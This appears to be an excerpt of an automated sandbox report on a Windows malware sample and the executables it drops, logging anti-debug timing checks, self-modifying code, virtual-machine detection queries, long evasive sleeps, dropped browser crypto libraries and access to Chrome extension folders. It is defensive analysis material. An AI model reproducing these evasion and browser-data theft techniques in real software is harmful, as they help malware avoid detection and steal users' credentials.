Source: C:\Users\user\DocumentsEGHJKFHJJJ.exe	RDTSC instruction interceptor: First address: 11BB928 second address: 11BB92C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsEGHJKFHJJJ.exe	RDTSC instruction interceptor: First address: 11BB92C second address: 11BB932 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsEGHJKFHJJJ.exe	RDTSC instruction interceptor: First address: 11BB932 second address: 11BB98D instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jno 00007F32DCC6AEF6h 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d jbe 00007F32DCC6AF09h 0x00000013 push esi 0x00000014 jmp 00007F32DCC6AF01h 0x00000019 pop esi 0x0000001a mov eax, dword ptr [esp+04h] 0x0000001e jmp 00007F32DCC6AF09h 0x00000023 mov eax, dword ptr [eax] 0x00000025 jmp 00007F32DCC6AEFDh 0x0000002a mov dword ptr [esp+04h], eax 0x0000002e push esi 0x0000002f push eax 0x00000030 push edx 0x00000031 pushad 0x00000032 popad 0x00000033 rdtsc
Source: C:\Users\user\DocumentsEGHJKFHJJJ.exe	RDTSC instruction interceptor: First address: 11BB98D second address: 11BB991 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsEGHJKFHJJJ.exe	RDTSC instruction interceptor: First address: 11BB991 second address: 11BB9FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 pop eax 0x00000008 push 00000000h 0x0000000a push eax 0x0000000b call 00007F32DCC6AEF8h 0x00000010 pop eax 0x00000011 mov dword ptr [esp+04h], eax 0x00000015 add dword ptr [esp+04h], 00000019h 0x0000001d inc eax 0x0000001e push eax 0x0000001f ret 0x00000020 pop eax 0x00000021 ret 0x00000022 call 00007F32DCC6AEF9h 0x00000027 pushad 0x00000028 je 00007F32DCC6AEF8h 0x0000002e push eax 0x0000002f pop eax 0x00000030 pushad 0x00000031 pushad 0x00000032 popad 0x00000033 jl 00007F32DCC6AEF6h 0x00000039 popad 0x0000003a popad 0x0000003b push eax 0x0000003c jp 00007F32DCC6AF0Bh 0x00000042 push ebx 0x00000043 jmp 00007F32DCC6AF03h 0x00000048 pop ebx 0x00000049 mov eax, dword ptr [esp+04h] 0x0000004d push ebx 0x0000004e pushad 0x0000004f push eax 0x00000050 push edx 0x00000051 rdtsc
Source: C:\Users\user\DocumentsEGHJKFHJJJ.exe	RDTSC instruction interceptor: First address: 11BB9FB second address: 11BBA25 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop ebx 0x00000008 mov eax, dword ptr [eax] 0x0000000a pushad 0x0000000b push ebx 0x0000000c ja 00007F32DD0C5336h 0x00000012 pop ebx 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F32DD0C5345h 0x0000001a rdtsc
Source: C:\Users\user\DocumentsEGHJKFHJJJ.exe	RDTSC instruction interceptor: First address: 11BBE6B second address: 11BBE71 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsEGHJKFHJJJ.exe	RDTSC instruction interceptor: First address: 11BBE71 second address: 11BBE8B instructions: 0x00000000 rdtsc 0x00000002 jp 00007F32DD0C533Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c jbe 00007F32DD0C533Ch 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\DocumentsEGHJKFHJJJ.exe	RDTSC instruction interceptor: First address: 11BBE8B second address: 11BBE93 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push edx 0x00000007 pop edx 0x00000008 rdtsc
Source: C:\Users\user\DocumentsEGHJKFHJJJ.exe	RDTSC instruction interceptor: First address: 11BC920 second address: 11BC924 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsEGHJKFHJJJ.exe	RDTSC instruction interceptor: First address: 11BCA7D second address: 11BCA83 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsEGHJKFHJJJ.exe	RDTSC instruction interceptor: First address: 11BCA83 second address: 11BCA89 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsEGHJKFHJJJ.exe	RDTSC instruction interceptor: First address: 11BD694 second address: 11BD698 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsEGHJKFHJJJ.exe	RDTSC instruction interceptor: First address: 11BD698 second address: 11BD69E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsEGHJKFHJJJ.exe	RDTSC instruction interceptor: First address: 11C0ADF second address: 11C0AE5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsEGHJKFHJJJ.exe	RDTSC instruction interceptor: First address: 11C0AE5 second address: 11C0AEB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsEGHJKFHJJJ.exe	RDTSC instruction interceptor: First address: 11C0AEB second address: 11C0AEF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsEGHJKFHJJJ.exe	RDTSC instruction interceptor: First address: 11C161E second address: 11C1624 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsEGHJKFHJJJ.exe	RDTSC instruction interceptor: First address: 11C1624 second address: 11C165F instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pushad 0x00000004 popad 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 push 00000000h 0x0000000b push esi 0x0000000c call 00007F32DCC6AEF8h 0x00000011 pop esi 0x00000012 mov dword ptr [esp+04h], esi 0x00000016 add dword ptr [esp+04h], 00000016h 0x0000001e inc esi 0x0000001f push esi 0x00000020 ret 0x00000021 pop esi 0x00000022 ret 0x00000023 push 00000000h 0x00000025 push 00000000h 0x00000027 add esi, 47BD76AAh 0x0000002d xchg eax, ebx 0x0000002e push edi 0x0000002f je 00007F32DCC6AEFCh 0x00000035 push eax 0x00000036 push edx 0x00000037 rdtsc
Source: C:\Users\user\DocumentsEGHJKFHJJJ.exe	RDTSC instruction interceptor: First address: 11C205F second address: 11C2064 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\DocumentsEGHJKFHJJJ.exe	RDTSC instruction interceptor: First address: 11BF2A7 second address: 11BF2AC instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsEGHJKFHJJJ.exe	RDTSC instruction interceptor: First address: 11C2064 second address: 11C20F9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jno 00007F32DD0C5336h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov dword ptr [esp], eax 0x00000011 push 00000000h 0x00000013 push edx 0x00000014 call 00007F32DD0C5338h 0x00000019 pop edx 0x0000001a mov dword ptr [esp+04h], edx 0x0000001e add dword ptr [esp+04h], 0000001Ch 0x00000026 inc edx 0x00000027 push edx 0x00000028 ret 0x00000029 pop edx 0x0000002a ret 0x0000002b sbb edi, 6E9D27CEh 0x00000031 mov dword ptr [ebp+122D369Eh], ebx 0x00000037 push 00000000h 0x00000039 call 00007F32DD0C5344h 0x0000003e jmp 00007F32DD0C5348h 0x00000043 pop edi 0x00000044 push 00000000h 0x00000046 push 00000000h 0x00000048 push edx 0x00000049 call 00007F32DD0C5338h 0x0000004e pop edx 0x0000004f mov dword ptr [esp+04h], edx 0x00000053 add dword ptr [esp+04h], 00000015h 0x0000005b inc edx 0x0000005c push edx 0x0000005d ret 0x0000005e pop edx 0x0000005f ret 0x00000060 xchg eax, ebx 0x00000061 push ecx 0x00000062 push eax 0x00000063 push edx 0x00000064 pushad 0x00000065 popad 0x00000066 rdtsc
Source: C:\Users\user\DocumentsEGHJKFHJJJ.exe	RDTSC instruction interceptor: First address: 11C52CF second address: 11C52F8 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F32DCC6AEFCh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F32DCC6AF06h 0x00000012 rdtsc
Source: C:\Users\user\DocumentsEGHJKFHJJJ.exe	RDTSC instruction interceptor: First address: 11C9362 second address: 11C936C instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F32DD0C5336h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\DocumentsEGHJKFHJJJ.exe	RDTSC instruction interceptor: First address: 11C936C second address: 11C9376 instructions: 0x00000000 rdtsc 0x00000002 je 00007F32DCC6AEFCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsEGHJKFHJJJ.exe	RDTSC instruction interceptor: First address: 11CD186 second address: 11CD196 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 jnp 00007F32DD0C534Eh 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\DocumentsEGHJKFHJJJ.exe	RDTSC instruction interceptor: First address: 11CD196 second address: 11CD234 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F32DCC6AF00h 0x00000009 popad 0x0000000a nop 0x0000000b mov edi, dword ptr [ebp+122D1DF7h] 0x00000011 push 00000000h 0x00000013 push 00000000h 0x00000015 push eax 0x00000016 call 00007F32DCC6AEF8h 0x0000001b pop eax 0x0000001c mov dword ptr [esp+04h], eax 0x00000020 add dword ptr [esp+04h], 00000019h 0x00000028 inc eax 0x00000029 push eax 0x0000002a ret 0x0000002b pop eax 0x0000002c ret 0x0000002d mov bx, ax 0x00000030 push 00000000h 0x00000032 push 00000000h 0x00000034 push edx 0x00000035 call 00007F32DCC6AEF8h 0x0000003a pop edx 0x0000003b mov dword ptr [esp+04h], edx 0x0000003f add dword ptr [esp+04h], 00000016h 0x00000047 inc edx 0x00000048 push edx 0x00000049 ret 0x0000004a pop edx 0x0000004b ret 0x0000004c and bx, DDC3h 0x00000051 and edi, 679F3474h 0x00000057 xchg eax, esi 0x00000058 push eax 0x00000059 push edx 0x0000005a pushad 0x0000005b jmp 00007F32DCC6AF03h 0x00000060 jmp 00007F32DCC6AF09h 0x00000065 popad 0x00000066 rdtsc
Source: C:\Users\user\DocumentsEGHJKFHJJJ.exe	RDTSC instruction interceptor: First address: 11CD234 second address: 11CD26B instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F32DD0C5349h 0x00000008 jmp 00007F32DD0C5343h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F32DD0C5347h 0x00000017 rdtsc
Source: C:\Users\user\DocumentsEGHJKFHJJJ.exe	RDTSC instruction interceptor: First address: 11CF28A second address: 11CF2BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop edx 0x00000006 mov dword ptr [esp], eax 0x00000009 push 00000000h 0x0000000b mov bl, 3Ah 0x0000000d push 00000000h 0x0000000f mov bx, si 0x00000012 push eax 0x00000013 pushad 0x00000014 jl 00007F32DCC6AF07h 0x0000001a jmp 00007F32DCC6AF01h 0x0000001f pushad 0x00000020 jno 00007F32DCC6AEF6h 0x00000026 push eax 0x00000027 push edx 0x00000028 rdtsc
Source: C:\Users\user\DocumentsEGHJKFHJJJ.exe	RDTSC instruction interceptor: First address: 11D32EC second address: 11D32F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsEGHJKFHJJJ.exe	RDTSC instruction interceptor: First address: 11D32F0 second address: 11D32F6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsEGHJKFHJJJ.exe	RDTSC instruction interceptor: First address: 11D4336 second address: 11D43BD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F32DD0C5349h 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov dword ptr [esp], eax 0x00000010 push 00000000h 0x00000012 push ebx 0x00000013 call 00007F32DD0C5338h 0x00000018 pop ebx 0x00000019 mov dword ptr [esp+04h], ebx 0x0000001d add dword ptr [esp+04h], 00000019h 0x00000025 inc ebx 0x00000026 push ebx 0x00000027 ret 0x00000028 pop ebx 0x00000029 ret 0x0000002a mov dword ptr [ebp+1245BEAAh], edx 0x00000030 mov bh, 55h 0x00000032 push 00000000h 0x00000034 push 00000000h 0x00000036 push edx 0x00000037 call 00007F32DD0C5338h 0x0000003c pop edx 0x0000003d mov dword ptr [esp+04h], edx 0x00000041 add dword ptr [esp+04h], 00000016h 0x00000049 inc edx 0x0000004a push edx 0x0000004b ret 0x0000004c pop edx 0x0000004d ret 0x0000004e mov bh, cl 0x00000050 push 00000000h 0x00000052 mov ebx, dword ptr [ebp+122D3C08h] 0x00000058 push eax 0x00000059 push edi 0x0000005a pushad 0x0000005b jmp 00007F32DD0C533Bh 0x00000060 push eax 0x00000061 push edx 0x00000062 rdtsc
Source: C:\Users\user\DocumentsEGHJKFHJJJ.exe	RDTSC instruction interceptor: First address: 11D8AB3 second address: 11D8AB7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsEGHJKFHJJJ.exe	RDTSC instruction interceptor: First address: 11C2998 second address: 11C299D instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsEGHJKFHJJJ.exe	RDTSC instruction interceptor: First address: 11C5415 second address: 11C541B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: F5DC30 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: F5DBAF instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 11049C1 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 112F7D9 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 119383B instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsEGHJKFHJJJ.exe	Special instruction interceptor: First address: 11B15EB instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsEGHJKFHJJJ.exe	Special instruction interceptor: First address: 11DBFF0 instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsEGHJKFHJJJ.exe	Special instruction interceptor: First address: FFEDCA instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: A715EB instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: A9BFF0 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 8BEDCA instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Special instruction interceptor: First address: 50EB3E instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Special instruction interceptor: First address: 50EC0A instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Special instruction interceptor: First address: 50C0CA instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Special instruction interceptor: First address: 6DC8BA instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Special instruction interceptor: First address: 6C6D2A instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1004854001\ef7349e1dc.exe	Special instruction interceptor: First address: 105DC30 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1004854001\ef7349e1dc.exe	Special instruction interceptor: First address: 105DBAF instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1004854001\ef7349e1dc.exe	Special instruction interceptor: First address: 12049C1 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1004854001\ef7349e1dc.exe	Special instruction interceptor: First address: 122F7D9 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1004854001\ef7349e1dc.exe	Special instruction interceptor: First address: 129383B instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1004856001\ae09953578.exe	Special instruction interceptor: First address: AFDA56 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1004856001\ae09953578.exe	Special instruction interceptor: First address: AFB63E instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1004856001\ae09953578.exe	Special instruction interceptor: First address: CC8A03 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1004856001\ae09953578.exe	Special instruction interceptor: First address: D397DE instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Special instruction interceptor: First address: 65CDC30 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Special instruction interceptor: First address: 65CDBAF instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Special instruction interceptor: First address: 67749C1 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Special instruction interceptor: First address: 679F7D9 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Special instruction interceptor: First address: 680383B instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\1004856001\ae09953578.exe	Memory allocated: 4A20000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1004856001\ae09953578.exe	Memory allocated: 4DF0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1004856001\ae09953578.exe	Memory allocated: 4BF0000 memory reserve \| memory write watch

Source: C:\Users\user\AppData\Local\Temp\1004854001\ef7349e1dc.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\1004854001\ef7349e1dc.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\1004854001\ef7349e1dc.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\DocumentsEGHJKFHJJJ.exe

Code function: 24_2_053E0B20 rdtsc

24_2_053E0B20

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 180000
Source: C:\Users\user\AppData\Local\Temp\1004856001\ae09953578.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\chrome.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe TID: 7680	Thread sleep time: -50025s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7652	Thread sleep count: 56 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7652	Thread sleep time: -112056s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7660	Thread sleep count: 49 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7660	Thread sleep time: -98049s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7656	Thread sleep count: 41 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7656	Thread sleep time: -82041s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7748	Thread sleep time: -36000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7664	Thread sleep count: 49 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7664	Thread sleep time: -98049s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7668	Thread sleep count: 51 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7668	Thread sleep time: -102051s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7672	Thread sleep count: 56 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7672	Thread sleep time: -112056s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7676	Thread sleep count: 60 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7676	Thread sleep time: -120060s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5224	Thread sleep count: 57 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5224	Thread sleep time: -114057s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5416	Thread sleep count: 50 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5416	Thread sleep time: -100050s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 4028	Thread sleep count: 54 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 4028	Thread sleep time: -108054s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 9012	Thread sleep count: 349 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 9012	Thread sleep time: -10470000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5868	Thread sleep count: 40 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5868	Thread sleep time: -80040s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 1240	Thread sleep count: 44 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 1240	Thread sleep time: -88044s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6528	Thread sleep time: -180000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5756	Thread sleep count: 50 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5756	Thread sleep time: -100050s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 9012	Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe TID: 8196	Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe TID: 5436	Thread sleep time: -60000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe TID: 316	Thread sleep time: -210000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1004856001\ae09953578.exe TID: 3360	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe TID: 6364	Thread sleep time: -30000s >= -30000s

Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1004856001\ae09953578.exe	Last function: Thread delayed

Source: C:\Users\user\DocumentsEGHJKFHJJJ.exe

File Volume queried: C:\ FullSizeInformation

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CBFEBF0 PR_GetNumberOfProcessors,GetSystemInfo,

0_2_6CBFEBF0

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 180000
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000
Source: C:\Users\user\AppData\Local\Temp\1004856001\ae09953578.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior

